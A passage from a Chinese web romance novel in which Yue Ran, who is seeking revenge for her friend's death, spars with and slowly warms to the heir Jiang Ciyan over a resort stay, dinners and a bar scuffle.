【“你可以叫江辞宴带你四处走走,他这人嘴臭,但是心不坏。”】
两个小时前的消息。
如果没有洛璃,她都信了钱峰说的这些话。
母亲没发消息过来,估计是在忙舞蹈培训机构的事情,父亲那边倒是问她明天要不要回家。
她才不去。
父母周末最忙,过去也是她一个人跟阿姨在家。
她打开外卖平台。
“咔!”门开了。
江辞宴进来。
真是一点礼貌都没有。
岳然火气上来又下去,毕竟这是别人的地盘。
江辞宴打开灯问:“你饿了吗?”
岳然没有立刻回答,抬手挡住刺眼光线,直到适应了,才望向床边站着的江辞宴。
江辞宴没耐心追问:“你不吃?”
岳然现在整个人还裹在被子里,两人眼下这光景,倒像是老夫老妻一样,可问题是他们不是。
江辞宴出去的时候,她把运动内衣脱了。
现在就穿着一件白T桖,还有些透明。
岳然把被子往上又拉了一点,“你转过去,我换一下衣服。”
江辞宴瞥到了她放在一旁的内衣,眉头微蹙,别开脸,又转回来,“你别换了!”
岳然脸刷红透,这说的都是什么屁话。
“我的意思……我意思是你别穿这衣服……”江辞宴话说不利索,脸色也有些不正常,说一半,往沙发那边走,提起一个纸袋往床上丢过来,袋子落下,粉色上衣摔出来,压着被子。
“给你买的,换上!”江辞宴又问一遍,“你要吃什么?”
岳然反问:“你今晚还回去吗?”
“我不回,你要回自己去,别指望我送你,要吃东西我可以给你买,当你免费司机,想都别想。”
岳然被气得说不出话。
江辞宴出了套房。
她就随口问一下,他那么激动干嘛。
谁说要他送?
有毛病,一天喜怒无常。
打开袋子,里面什么都有。
有一条黑色休闲裤,深灰色T桖,一套米色内衣,跟床上放着的一个颜色。
她不知道该说这人贴心,还是变态。
岳然怕江辞宴又进来,跑卫生间迅速换好衣服。
她收好脏衣服,内裤丢垃圾桶,其余的一股脑塞洗衣机。
走到沙发旁边,看到江辞宴那件灰色卫衣,她冷水揉掉那团血迹,塞进洗衣机一起洗。
下楼叫服务员上来换床单。
服务员换床单的时候,总是时不时偷偷瞟她,得亏服务员是个女的。
不然岳然都得骂她思想龌龊。
换好刚走,江辞宴提着东西进来。
“你要走吃饱再走,不然我怕你等下走到一半又昏倒在公交站台,连累别人。”
上次他看到了?
她明明记得醒来看到的是江辞宴,医院病房里站着的却是钱峰,她还以为是幻觉。
江辞宴示意她坐下:“发什么愣,坐下吃饭,吃完要走赶紧走!”
“江辞宴!”岳然盯着他,不想错过他脸上任何表情,“上次公交站我晕倒,是你救的我吗?”
江辞宴冷笑出声,挑眉看她,“是我救的又怎样?不是我救的又怎样?难不成你还想以身相许?”
岳然怔愣住。
“以身相许,我也瞧不上你,我跟钱峰品味可不一样。”
8. 第8章
岳然真想给那张欠揍的脸上,甩上几巴掌。
让他清醒一点,要不是为了给洛璃报仇雪恨。
跟他多呆一分钟,她都觉得恶心。
她坐到沙发上,挤出一个生硬的笑容,“江总多虑了,我的意思是,如果是你救的我,我应该找机会好好请你吃顿饭。”
江辞宴撇嘴,略显讥诮看她:“我对你饭没兴趣,真想报答的话,有时间弹两首钢琴曲,给我听一下,我还可以勉强接受。”
岳然没控制住情绪,饭盒拆的空响,盖子用力拍在座子上,咬着牙回:“弹钢琴的话,技术欠佳,就不在江总面前献丑了。”
“也算你有自知之明,本来我还想着,以后你要是跟钱峰结婚,我可以送你们一架顶配钢琴,现在恐怕……”
岳然手一抖,拉开菜盒盖子,汤差点溅在江辞宴身上。
江辞宴起身让开了,“我没衣服了,你再弄脏我穿什么?”
他穿什么,关她屁事。
这人真是狗嘴吐不出象牙,还嫁给钱峰,送一架顶配钢琴……
才见几面,他这脑子里,装些什么。
哪怕钱峰喜欢她,她就得嫁过去?
这一整天的无微不至,就为给他朋友牵线搭桥?
那天在车上不是还对她冷嘲热讽,他这是抽哪门子妖风。
旁敲侧击提钱峰喜欢她,试探她一天,都没正面搭理他,他倒是蹬鼻子上脸,不达目的誓不罢休。
岳然懒得绕弯子,直接问:“江总上次不还看我不顺眼,怎么过了几天,就想着让我做你兄弟老婆了?”
江辞宴托腮沉吟片刻,偏头漫不经心看她:“可能是爱屋及乌,时间看久,一下觉得你没那么碍眼。”
岳然冷哼一声,翻了个白眼,拿起筷子闷头吃饭,一定不是这个原因,但是她也不想再问,江辞宴没一句正经话。
两人吃好饭。
洗衣机直叫,“滴…滴…滴…”
岳然一股脑把衣服抱出来。
“我的衣服你怎么也混写在一起洗?”江辞宴看着衣服问。
岳然没理他,自顾自晾衣服,衣服洗的还算干净,反正该洗的全部洗了。
洗衣机没带烘干功能,否则晾衣服都可以省掉。
“你这女人一点生活常识没有,衣服深浅得分开,内衣也要分开,不然会串色又不卫生。”
“下次让你洗行不行,我粗糙惯了,不讲究那么多。”岳然口是心非,这里条件有限她不想纠结那么多,而且现在小腹还隐隐作痛。
江辞宴目光从她小腹一带而过,撇嘴冷笑:“你还想着下次,要不是看在钱峰面子上,现在你网球场躺着,我都不会去看你一眼。”
岳然咬紧牙关,拳头紧握,差点没忍住一拳头呼过去,让他这张欠揍的小白脸挂彩,深吸一口气,她忍上几秒,去推人:“你出去,别打扰我睡觉。”
“你不回去了?!”江辞宴纹丝不动,“这是我的地盘。”
岳然拿包暴走,两步没走出,被江辞宴拽回来。
她重心不稳往沙发倒,江辞宴眼疾手快用手控制住,“不回去才对,你这脾气还不小,这样辅导孩子,孩子父母能瞧上你也是奇迹。”
岳然紧抿着唇,瞪了他一眼,试图挣脱他的手,反而被抓得更紧。
江辞宴扫了一眼床,“就算你走了,你以为你睡过的床,我还会再睡!”
岳然气笑,索性也不挣扎了,抬头目不转睛盯着他的脸,学着他轻挑的口吻说:“那我现在亲你一口,你会不会想去死?”
江辞宴瞳孔微震,岳然凑过去,气息刚好打在江辞宴脖颈。
江辞宴脖子处一痒,立即放手,“你有病!”
江辞宴骂骂咧咧离开。
岳然躺回床上。
没跟江辞宴正式碰面之前,她原本计划装成楚楚可怜的小白兔,接近江辞宴。
以他好色下流的品行,怎么都会为她停留一下。
没想到,江辞宴是这种鬼样。
以前跟踪江辞宴,江辞宴在任何场合,总是不苟言笑,板着一张脸,颇有高冷霸道总裁那种范。
她以为这人只有私下看到美女,脸色才会舒展开来。
结果……
岳然看着天花板,无奈一笑,这都什么事。
洛璃到底喜欢他什么?
那张还算看得过去的脸?
岳然没想明白,躺在床上,没过多久就睡着了。
醒来早已艳阳高照。
她躺在床上不想动,浑身都痛。
每次生理期她都得掉半条命。
生理期还是6天,前三天最要命。
这一次她还激烈运动。
度假村是不能呆了,她得回家养命。
阳台上衣服,随风打转,看样子已经干透。
岳然翻身爬起,白色床单上两大块血迹。
意料之中。
江辞宴买的卫生棉太小,前三天她晚上一般都穿安睡裤。
她拉上被子盖住。
本来她一娇羞花季少女,硬生生被这离谱的处境逼成厚脸皮。
江辞宴还说她是移动血包,她感觉血都快流光了。
母亲带她去看中医,看西医,都说是正常的,年纪轻轻气血充足,很正常。
岳然都在幻想等更年期绝经得多幸福。
真有下辈子,让她做个男人吧!
做女人太累,要生孩子,还要每年忍受那么多次生理期折磨。
男人多好,只要他不作死,永远不会有这些事情困扰。
衣服取下来,她胡乱塞进江辞宴给她拿来的袋子里。
饭不吃了,先回家。
江辞宴联系方式也没有。
装模作样感激的机会都没有。
岳然拿着东西到楼下,碰到熟人——隔壁民宿王老板。
王老板先打招呼:“岳小姐,怎么过来也不打声招呼,请你吃饭的机会都没有。”
岳然问:“这家店也是你的?”
王老板干笑两声,“不算我的,都是我跟朋友合伙开的店。”
“那我先走了,改天有机会再来这边玩!”岳然点头,边说边走,怕江辞宴回来遇到她。
她这是第三次来度假村,之前常住对面。
两栋三层高的民宿对立而建,住对面也是为了方便跟踪江辞宴。
现在她除了不了解江辞宴这个人,对他的生活习惯了如指掌。
他每隔一个月左右会来这边住。
平时不出差的话,周末会去打篮球,踢足球,登山……
除了周五,几乎不回江家庄园,也不会呆在他复式公寓。
这两天跟江辞宴相处下来,岳然觉得诱惑江辞宴根本不可能。
江辞宴背她,抱她,全是亲密接触,完全无动于衷,脸不红心不跳,估计抱块砖头都比抱她脸色好。
好歹她也是个女人,在他面前,像是没有性别一般。
这一年以来,岳然没见过江辞宴带过女人,除了那些工作合作伙伴。
岳然怀疑江辞宴害死洛璃以后,转了性。
岳然
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摸出手机,正想打车,钱峰电话打过来。
“你回去了吗?”钱峰问。
“在路上。”
“其实你可以叫江辞宴带你四处转一下,我这边有事过不来,抱歉。”
“我也有事……”岳然扯谎,也不能说她生理期,已经够尴尬了。
“那下次再约!”
“好。”
“我认真的!”
“我也是认真的。”
…
钱峰是她收集犯罪证据的关键人物,不能放过。
江辞宴这边已经不可能,她甚至以后都不想见到这个人,不然总能想到昨天的荒唐事。
从餐厅回民宿路上。
江辞宴看到百米开外,大包小包坐车离开的岳然。
他低头扫了一眼,袋子里大大小小的饭盒,丢在旁边垃圾桶。
招呼都不打,没良心的女人。
江辞宴回了房间。
岳然房间门开着,服务员正在里面换床单。
换下来的床单,上面两大块血迹。
真是移动血包。
胸口那团火,熄灭不少,她估计真难受,见他不在,先走了。
昨天不想送她回去,是因为他不想回家,在家很烦。
卫衣在阳台孤零零随风打转。
服务员换好床单,转身看到他,有些不好意思拿起脏床单抱着:“江总,你东西要搬回来吗?”
“不用!”江辞宴站在门口,等人离开。
“那这边房间要不要给你退掉?”
“我走的时候一起退。”
“好!”服务员拿着床单离开。
江辞宴进屋,拿下阳台上晾衣杆上的卫衣。
下意识看向衣服后面那染过血的地方,崭新如初。
他心里却有一种说不明白的感觉。
这女人真是让他颜面尽失。
可像岳然说的没错,是他要背的人。
就算如此,不该等他回来,道个谢再走?
不过回来也不一定能听到道谢,江辞宴叹气,抱着衣服出阳台。
床头柜角落,有一个小东西躺地上闪闪发光,有些灼眼。
他走过去,一个镶满水晶亮片的小熊猫娃娃,斜躺在柜子角落。
塑料制品,不值钱。
江辞宴俯身捡起来,前后打量一翻,丢在柜子上,东西弹了两下,又要掉下去,他伸手接住,在掌心颠了两下。
先留着,万一岳然那女人回来找,估计她忘了拿!不要的话,应该是在垃圾桶。
娃娃塞在卫衣兜里,连打两个哈欠。
昨晚没睡好。
可能是不习惯隔壁房间的床。
这边的房间,10点以后可以一直照到阳光,10点影响不到他,他一般不睡懒觉。那边太阳出来光便打在窗帘上,窗帘遮光效果一般,有点刺眼。
他睡觉只要有一点光就睡不着。
这边窗帘他叫人换过。
床单被套换过,在这边睡补觉,应该没问题。
衣服丢在沙发上,关上房间门,拉上窗帘,江辞宴倒在床上。
被子拉起来盖着脸,一股陌生的气味涌入鼻腔,淡淡的清香,吸上几口让他睡意全无。
江辞宴翻身爬起,就知道,别人睡过的床,不能睡。
他拿起衣服回了隔壁房间。
倒床上时,一个念头冒出来…
岳然那腿好了?
刚才走路那矫健的步伐,可没有半点受伤的样子。
他被耍了?
9. 第9章
岳然本想回家,半路打了退堂鼓。
现在手臂受伤,哪怕只是破皮轻伤,父母看到天都得塌下来。
他们一定会说,宝宝你在外面太危险,搬回来住。
她路上点好外卖,到家外卖刚好送达。
电梯里面遇到外卖小哥。
小哥知道是她的外卖后,见她东西多,把网球拍接过去拿着。
回到家,她给人家送了一瓶水,平台给他打赏了100。
岳然吃饱喝足,躺在沙发上一动不动。
回来以后痛经没那么严重,除了浑身乏力没什么感觉。
江辞宴那人是个怪物,家缠万贯,平时竟然喜欢呆在度假村那种民宿里。
她之前想过,瘦下来以后,多参加什么聚会之类“偶然”遇到,也不失为一种机会。
奈何江辞宴除了是个好色之徒,还是个运动狂魔,不是网球,就是篮球,足球……
她只好抽空训练,一向大门不出二门不迈的她,硬生生被搞成一个运动健将,到头来还没有半点用处。
现在从钱峰那边下手更好,钱峰嘴没那么严实。
岳然决定好就行动。
主动约钱峰看电影。
钱峰告诉她,周一到周五可能都没时间。
她的复仇之路,走到三岔路口。
岳然心如死灰。
6天生理期过后,岳然找回一点精神。
正缝周五。
岳然去江家别墅那边给学生上课。
雇主给加了两节课,留她吃饭。
完美错过江辞宴回来的时间,得不偿失。
这次她主要目标是钱峰。
岳然刚从别墅区大门出来,一辆黑色宾利直直开过来。
她避之不及,往路边让了让。
在小区里开车,这速度,车主是想撞人?什么素质!
岳然怔愣间,车停了。
车窗降下,漏出江辞宴那张欠揍的脸,果然是没素质的人。
江辞宴一个人回来,钱峰呢?
岳然收回视线,装没看到人,加快脚步往前走。
身后车喇叭直响。
岳然停下,咬牙瞪过去。
“上车!”江辞宴喊。
“江总的车,我没资格坐。”
“我不想下来拉你,你最好自觉上来。”
后面又驶来一辆车。
岳然不想拦着别人的车,拉开副驾驶车门坐进去,大力摔上门。
江辞宴讥笑,垂眸斜视她:“摔坏你陪得起?”
岳然手搭上车门,起身,打算推开门下去。
江辞宴拉住她的人手,拽回来坐着,“系好安全带,我送你回家。”
这个疯子,吃错药一般,他真是迫不及待往她这里送命。
在搞清事情原委之前,她被迫留下他的小命。
后面喇叭直响。
岳然坐着不动。
江辞宴俯身拉安全带给她系,两人几乎贴在一起,呼吸之间,全是江辞宴气味,淡淡的松香味。
岳然只觉得烦躁,他系好得意一笑坐回去。
岳然没忍住发牢骚:“江辞宴,你是不是缺女人了?”
江辞宴微愣,不怀好意笑起来:“缺女人你也没机会,我就想知道那天在度假村你是不是故意耍我,害我出那么大的丑。”
江辞宴说话间越凑越近,一双眼睛凝视着她,岳然伸手推在他胸口,毫无作用,倒是能清晰感觉到他胸口的肌肉纹路。
“谁是故意的,你脑袋里到底装些什么?”岳然别开脸,大声说。
江辞宴满意坐回去,嘴角扬起,嘀咕道:“那就好,不然我咽不下这口气。”
岳然气得手抖,这人口口声声要叫她做朋友老婆,眼下这些暧昧不明的行为又是什么意思。
嘴上说嫌弃她,却总是一点分寸感没有。
要是她刚才凑过去,搂着他脖子,亲一口他会不会疯掉。
眼前一黑,车窗外面冒出一个穿西服套装的中年男人:“谈恋爱能不能找个安静的地方,别把路堵了,什么素质,你们……江总……”
江辞宴眼底寒光骤起,目光犀利瞪过去。
男人脸色大变,连连道歉:“江总,对不起,打扰了,你们继续!”
人一走,江辞宴脸立马舒展开来,恢复一贯嬉皮笑脸。
奥斯卡都得给他搬个奖,上次这里遇见他,他也是这种生人勿近的德性。
去了一趟度假村,仿佛他们变得无比熟悉,跟失散多年的朋友一样。
岳然都不知道,该说他冷漠还是热情。
“你住哪里?”江辞宴发动车子问。
岳然随意指着前方门口,“把我放在门口就行。”
江辞宴微微抿嘴,温声说:“你别闹,我跟钱峰是朋友,他喜欢你,我们也算半个朋友。”
说得好听,谁要当他半个朋友,岳然耐着性子问:“那他人呢?”
“他出差了。”
…
江辞宴送她到楼下,岳然没叫他上楼喝杯茶。
钱峰出差又得一个星期。
岳然也没了招。
“没心肝的女人!”江辞宴盯着岳然背影小声骂,骂完又没忍住自嘲一笑。
那天度假村被甩以后,他一直等待时机追问清楚。
他从来不轻易相信谁,相信之后,不轻易怀疑。
不久前调查过岳然以后,算是给他吃了一颗定心丸。
岳然人品没什么问题,可脾气真差劲。
钱峰能拿捏住,也算是钱峰本事。
江辞宴看到5楼灯亮,驱车离开。
回了400多平米的顶楼复式公寓。
指纹锁一开,入眼的永远是那架黑色钢琴。
钢琴黑得发亮。
要不是阿姨过来打扫,估计灰都得积几厘米。
他什么时候爱上的钢琴,大约是5年前,偶然在剧院听到,东城最年轻的钢琴家——“燃夏”,演奏《幻夜之境》。
旋律响起那一刻,灵魂都被勾走了,仿佛另一个孤寂的灵魂在邀请他共舞,每个音符都尽力抚慰着每个孤寂的灵魂,无声诉说着,哪怕生来孤独,也可以狂欢,也可以精彩。
演出结束,他试图进后台,一睹芳容,被保安拦下。
他以为是举办方的营销手段,保持神秘不过是为了,费尽心思挣钱,他也没有一探究竟的欲望。
5年了,燃夏从未露过脸。
所有账号头像都是黑色钢琴。
他2年前被发配边疆,在国外,偶然遇到这架顶配钢琴。
花不少功夫和钱运回来的。
钱峰问他,买回去做什么。
他也不知道,他只会听别人弹钢琴,自己弹的话,只是摸过88个按键。
江辞宴觉得,对岳然没那么反感的原因,除了调查过后,岳然没问题。
还有一个原因,是她会弹钢琴。
她平时行动间,不疾不徐,优雅端庄,看起来是有些艺术气息。
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一开口又会觉得,那股艺术气息完全是装出来的,完全是一只刺猬。
艺术气息没了,倒是多了几分真实感。
他不讨厌。
每次看岳然剑拔弩张,气鼓鼓的样子,还觉得挺可爱。
从酒柜拿出一瓶罗玛蒂克.康帝打开,江辞宴拿着酒和水晶杯,到楼上一百多平,设施齐全的露台坐着,喝了两杯,站围栏旁,俯瞰这夜色之下的东城。
万家灯火。
车咕噜声,风声,吵闹声……
各种声音混在一起。
是繁华都市该有的样子。
他却恨极了热闹,喜欢呆在度假村那狭小的屋子里,图个清净。
偶尔在夜色下,听听虫鸣,听听鸟叫,能让人心神安定。
那也只是村里才会出现的宁静。
在这样的繁华地段,狭小,带来的只有压抑,隐忍。
爬上高位,才能俯瞰众生。
他又怎么能容忍,江毅那种败家玩意,踩在他头上,绝不允许。
哪怕他不要那位置,也轮不到江毅在他头顶拉屎。
不就是结了婚,生了孩子吗!
凭什么这样,父母就可以纵容江毅为所欲为。
他哪怕算一辈子不婚,江毅那废物也该永远对自己望尘莫及。
江氏集团继承人,可以是江毅3岁的儿子,绝对不能是江毅。
他也不会让位置落在江毅手上。
江辞宴一掌拍在栏杆上,收回落入虚空的目光,在不远处的老小区短暂停留。
那里应该是岳然住的小区。
没想到那么近。
那快地,几拨人盯着。
因为政策限制,一直没拿下来。
小区建造时间大概在05年,早年的花园洋房。
楼栋低,电梯早已老化。
拆不了,大家只能眼睁睁盯着肥肉,从嘴边溜走。
一向不贪杯的江辞宴,喝了一整瓶罗玛蒂克.康帝。
一瓶酒下肚。
一些混乱的想法不受控冒出来。
如果钱峰结婚,有了老婆孩子,那他是不是会比现在更孤独。
高处不胜寒,没有人陪着,心都能被风吹凉。
不过钱峰没出现之前,不也挺过来了吗?
有什么可怕的。
心结解开,江辞宴拉上被子呼呼呼大睡。
钢琴声起。
江辞宴从床上惊坐而起,下到客厅。
岳然一身白裙坐在钢琴前,正肆无忌惮弹着——《幻夜之境》。
他听得入迷,忘了指责。
一曲毕,岳然回头冲他嫣然一笑,问:“好听吗?”
他木讷点头。
岳然起身,跑过来抱住他。
江辞宴惊醒,长呼一口气,抬手间,额头冷汗直流。
他是不是疯了!
做什么鬼梦!
江辞宴翻身下床,卫生间,水龙头打开,冷水洗几遍脸。
才压住脸上热度。
要不别人常说喝酒误事。
他只喝一瓶低度红酒,就做了这种不该做的梦。
哪怕钱峰没跟岳然在一起,他也绝不可能会看上岳然。
大概是这段时间,两人走太近。
不小心勾出一些不该有的欲望。
要不是他行得正坐得端,哪个男人跟不熟悉的女人发生,那么多事情,不会想入非非。
他这只是做个梦罢了,不算什么。
10. 第10章
岳然连续两个星期没有见到钱峰。
期间去江家别墅区,也没遇到江辞宴。
微信上,她和钱峰联系还算频繁。
钱峰说这周五回来。
专辑录制结束,已经下午。
这两周她都忙着新专辑录制,除了周五,一直跟家教那边的雇主请假。
那边的雇主人美心善好说话,没说什么。
岳然倒是有些不好意思,虽然是打酱油的工作,可也不好辜负真心。
录制结束,父母忙着跟唱片公司沟通后面事宜,她找借口离开。
其实只收录了一首,唱片公司担心他们找别人合作,新曲一出来,便迫不及待催促录制。
后面的曲目不知道要到什么时候才能有头绪。
真是瞎折腾。
她也是瞎折腾。
去江家别墅那边能不能碰到人另说,碰到也不知道能做什么。
授课结束。
岳然跟往常一样从别墅西门出来。
西门出来的车道是江家别墅和江家庄园的通用车道,只出不进。
不是单行道的话,她也不可能运气那么好,几乎每次都可以遇到人。
江辞宴通常都是6点回来,7点30出来。
江辞宴是江家小儿子,极其受宠,坏事做尽,他父亲江誉华无底线包庇。
周五江家家宴,江辞宴每次任性提前离开,江誉华也纵容不管。
印证那句被偏爱的有恃无恐的说辞,不出意外,江辞宴是命定的继承人。
江家大儿子江毅,处事低调内敛,为人光明磊落,却不受待见。
豪门世家,财产分配本身就是一出大戏。
掌舵人偏向谁,谁胜算大。
可岳然觉得,自己出现,江辞宴登上高位这条路,不可能那么容易,他不配,德不配位,害人不浅。
天已经黑了,前面有一棵枝繁叶茂的老榕树,一盏大灯在旁边照着,比白天过来还亮。
白日榕树挡住了阳光,树下凉快,岳然喜欢坐在树下长椅上休息。高级住宅,没几个人路过,清净。
晚上她倒是坐不住,哪怕灯照着,也没有半分暖意,透着一股阴冷。
没走几步,肚子咕咕叫,快赶上枝头的蝉鸣。
来时她喝了一瓶橙汁,吃了一个三明治,早就消化殆尽。
岳然没工夫再等待“偶遇”,她现在主要是想见钱峰。
她想着两人趁着周五,去吃顿饭,看场电影,说不定还能问出什么来。
这样被迫等待太累了,岳然索性打开手机,发消息过去给钱峰:【有没有空?晚上请你吃饭!】
【我在老家,不好意思。】秒回。
岳然:【好,那你忙。】
钱峰:【明天你有时间吗?】
岳然:【嗯。】
钱峰:【我带你去打篮球。】
岳然屏幕上的指尖一顿,脑子里全是江辞宴跟她在度假村的荒唐事,脸不受控红了。
钱峰新消息飘过来:【不想去吗?还是没时间?】
岳然赶忙回过去:【没有,想问你几点?】
钱峰:【跟上次一样,行吗?】
岳然:【好!】
……
几句寒暄过后,油门声响起,拉回岳然注意力。
那辆熟悉的玛莎拉蒂,从眼前疾驰而过。
岳然扫了一眼右上角时间——6:45。
比往常早15分钟。
她站在车道边上那么显眼的位置,江辞宴没看到她?
不可能。
假装没看见?
应该是。
两个星期没见,江辞宴刻薄的老毛病又犯了?
那天送她回家后,两人没见过面。
岳然嗤笑,这人真是有病,她招他惹他了。
岳然揣着一肚子火,走出西门时,那车停在正门时,她愣在原地没动。
“你腿灌铅了,这么慢?”江辞宴从车头转出来,双手插兜,一脸笑意望着她。
岳然有点懵。
他假装没看见她,后悔了?
岳然不知道说什么,只觉得江辞宴,果然是有病。
两人相隔数米,不可能视而不见。
江辞宴已经没耐心:“快点,等下挡住别人车,不好。”
岳然嗤笑,瞪他一眼,车道那么宽,他停在正路中央,还有脸说怕挡住别人车,真是没脸没皮。
岳然加快脚步,在车跟前停下,扫了车一眼,抬眸漫不经心看江辞宴,阴阳道:“你怎么不横着停在公路上,这样就不会挡住别人车。”
江辞宴哧一笑,眼底全是苦涩:“你别闹,我心情不好,我带你去喝酒去不去?”
“不去!”岳然说完就走,一步没迈出去,被拽回来。
“那我送你回家!”
岳然用力挣脱江辞宴的手,没挣脱开,那半分客套也荡然无存:“你有病,你既然都装看不见,为什么不装彻底一点,还故意把车停在路中间恶心人。”
江辞宴狡辩:“我不是故意的,我是看见你了,只是不想把负面情绪传给你。”
每句话都踩在岳然笑点上,她没忍住反驳:“那后来停车,是不是突然觉得负面情绪不传递给我,良心不安?”
江辞宴抿起嘴,没说话,打开车门,顺势推她进车里,她被迫坐下,刚想起来,江辞宴便按住她肩膀:“钱峰不在,我没人可以说真心话。”
岳然冷笑,他们才认识几天,谈得上什么真心假意?
这人真是从来不反省,难道就没有想过,自己人缘那么差,跟他为人处世脱不了干系。
话到嘴边,“真心话”三个字,从脑海一闪而过,她心一动,眼睛亮了,到嘴的话彻底憋回去。
她想要的就是真心话,特别是江辞宴的真心话,差点情绪误事,说不定趁着他醉酒,可以从他嘴里打探出有关洛璃的事情,那不是更好。
“哪里喝酒?”岳然压着激动的情绪问。
江辞宴靠着车门,一脸诧异:“你真想喝酒?”
“你说呢?”岳然肚子咕咕咕,不合时宜叫嚣着。
江辞宴被逗笑。
岳然白他一眼。
江辞宴视若无睹,指着安全带:“那你吃饭,我喝酒,先把安全带系起来。”
这人怕不是对安全带有什么执念,正常人都会系,用得着他操心。
江辞宴站着没动。
岳然急忙拉起安全带系好,她怕下一秒江辞宴助人老毛病犯了,又给她系安全带。
岳然扣上安全带抬头,江辞宴依旧靠在车门,居高临下站着没动,一双深邃的眼睛望着她出神。
“不去我走了!”岳然低头催促,作势解开安全带。
江辞宴按住她肩膀:“别闹,我们先去吃饭。”
这人从见面开始,神色就飘忽不定,岳然都怕江辞宴开车分神,带她一起车毁人亡。
一路上,岳然都提起精神,不敢有半分松懈。
江辞宴带她去东城最有名的西餐厅,西餐厅汇聚全世界名菜,菜品顶绝。
父母没事,中餐吃腻,会带她过来尝鲜。
车停下以后,江辞宴车钥匙丢泊车员,带她一起进去。
岳然进门四处打量,生怕遇到熟人。
走在前面江辞宴突然停下脚步,岳然差点撞在他背上。
江辞宴退了一步,轻笑着说:“怎么样?够给你面子了吧?这地方你应该没机会来,我也不用你报答,等一下你陪
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我去喝酒就行。”
岳然咬牙,忍住那股想骂人的冲动,含笑点头。
两人去了私人包厢,吃了8个菜。
岳然是真饿了,这里她最近事忙,没时间过来,加上新菜品量少的原因,菜几乎都是光盘。
一顿饭吃下来,她真像个没见过世面的吃货。
江辞宴难得没有出言讽刺。
他不吃也安静陪着她,要点第9个菜的时候被她制止了。
还指望他醉后吐真言呢!
江辞宴叫她放心吃,不用客气。
她不合时宜,打了个嗝,一时脸丢完丢尽。
江辞宴这才叫人过来结账。
岳然看到那熟悉身影时,急忙低下头,翻出口罩带上,那人是饭店老板,他老婆经常带着双胞胎女儿去家里培训机构上舞蹈课,是机构高级会员。
他老婆跟母亲相处久了,熟悉以后,请母亲过来吃饭,发现了这家西餐厅,久而久之,他们一家人成了这里常客。
“江总,不知道你要过来,怠慢了!”吴老板跟江辞宴打招呼,瞧了岳然一眼。
江辞宴脸色一沉,眼神变得冰冷,恢复一向的刻薄:“只是过来吃饭,没多想见你,谈不上怠慢。”
吴老板干笑几声:“江总还是一贯爱开玩笑。”
……
岳然听到离开的脚步声,才抬起头。
江辞宴看到她脸上多出来的口罩,笑了笑:“你躲什么,你这张脸虽然一般,吓人的话,应该不会!”
岳然冷嗤一声,坐正:“我是怕人家把我当成你的红颜知己,影响你跟哪家千金小姐的世纪婚礼。”
江辞宴嘴一抽,脸瞬间垮下来,率先出了门。
没办法,又不小心踩到他尾巴了!
谁叫他那么招人烦。
岳然跟着他屁股后面,左顾右盼,出餐厅都没遇到老板。
上车开了许久。
车停到东城最繁华的街区,江辞宴全程没说一句话。
岳然一边想听江辞宴酒后吐真言,一边想离开。
车里稀薄的空气,让人胸口发闷,江辞宴板着一张脸,坐着一动不动。
岳然没耐心看他摆臭脸,手刚搭上车门,江辞宴开了口:“你是过来故意气我,还是陪我消愁的?”
岳然胸口那股火顿时烧到最大,冷冷丢下两个字:“气你!”
推开车门下车,落地没有丝毫停顿,往反反向走。
可又怎么能走得过江辞宴,10步不到,江辞宴控制住了她,“每次都是,我一说你就生气,你说我怎么不检讨一下。”
“禽兽才需要检讨,我不是禽兽。”岳然被江辞宴抓住右手,挣脱不了,一气之下抬起另外一只手,锤在他胸口,一锤下去手又痛又麻。
江辞宴胸口一震,一股莫名的情绪钻出来,嘴已经先快于脑子说出口:“我要是禽兽,你觉得你能逃得过我的手掌心。”
岳然怔住,语言系统罢工,脑子里全是问号,江辞宴这话什么意思?
江辞宴局促开口:“我把你当朋友,岳然,下次能不能温柔点,我不气你,你也别气我!”
岳然差点都以为这男人看上她了,结果是当她是朋友,他这种人,谁要做他朋友。
拿到当初他害洛璃惨死证据,他们往后都不可能会有交集。
这一年她想过别的方法,从洛璃父母那边问不出什么。
试图问别人,那些人也是闭口不谈。
仿佛洛璃真是为爱痴狂,拿命开玩笑。
她相信洛璃不是这样的人,她那么勇敢,谈个恋爱,怎么可能轻生!
岳然仇恨的火苗助涨,压住了另外一股气,嘴角微扬,敛起眼底寒光,与江辞宴对视,不紧不慢回:“我尽量!”
11. 第11章
酒吧里,忽明忽暗的光线打过来,刺痛岳然的眼睛。
躁动的音乐扰得她头也跟着胀痛,再待下去,头都能炸掉。
她第一次进酒吧,唯一的感觉,乌烟瘴气。
江辞宴在卡座上独自喝闷酒。
这都能消愁,鬼都不信。
时不时过来几个美女搭讪江辞宴。
说过来猎艳还差不多。
可惜被江辞宴赶走了。
江辞宴清一色撵滚,一点面子不给。
她坐在离他两米远的位置,互不搭理。
一个小时不到,高度酒,已经空了两瓶,人没有一点醉的迹象。
岳然怕人喝死,扶着吧台站了起来,过去截住江辞宴让酒保拿来的新酒。
“叫你们别烦我……我对你们……”江辞宴低咒,仰头看到是她笑起来,“别闹,我还没喝够。”
江辞宴伸手来够她手里的酒,她手抬高,下一秒掌心一空,她愕然回头,对上一张笑脸。
“美女,一起喝一杯…我请你...长那么漂亮,怎么热脸贴冷屁股呢!他不陪你,哥哥陪你!”男人手刚要搭上岳然的肩。
岳然侧身错开,还没来得及骂人。
身后江辞宴冒出来,一拳打在对方脸上,那人连人带酒一起倒下,酒先着地,碎一地,棕色的酒贱开,红光打在上面像摊血,触目惊心。
那人倒在碎玻璃旁。
江辞宴一脚踢在那人大腿上,惨叫连连。
江辞宴第二脚往小腹踢去,岳然头皮一紧,扑上去抱住人,江辞宴踢在虚空,人没站稳,两人差点一起往后倒。
江辞宴揽紧她的腰,两人晃两下才站稳。
那人躺倒在地,身体半缩着,冲拉他起身的服务员喊,“报警!快点报警!老子要让他牢底坐穿!”
岳然从江辞宴胸口抬头看他,他冰冷的目光锁着那男人,像上位者直视蝼蚁。
他呼吸间的酒气在她鼻间弥漫,仿佛醉意过度到她身体里,脸不由自主红温,心却是凉的。
洛璃痴恋江辞宴的时候,是不是也像躺着那男人一般,如此卑微,无助。
那男人不是好东西,可洛璃不是这种人,不该遭受那种折磨。
岳然放在江辞宴肩膀的手指,没忍住用了力掐进去。
江辞宴吃痛轻叫,扭头目光柔和盯着她看:“你怕什么,有我在!”
这个蠢货,要是某天他知道,她是过来索他命,会不会当场气死。
“妈的,你们认识,敢情你们这对狗男女搁这里钓鱼呢?”那男人站都没站稳,暴跳如雷,冲他们破口大骂,脚踢过来差点又倒下,服务员扶住。
江辞宴眯起眼,阴郁狠厉的目光杀过去,嗓音压得极低:“你是真想死吗?”
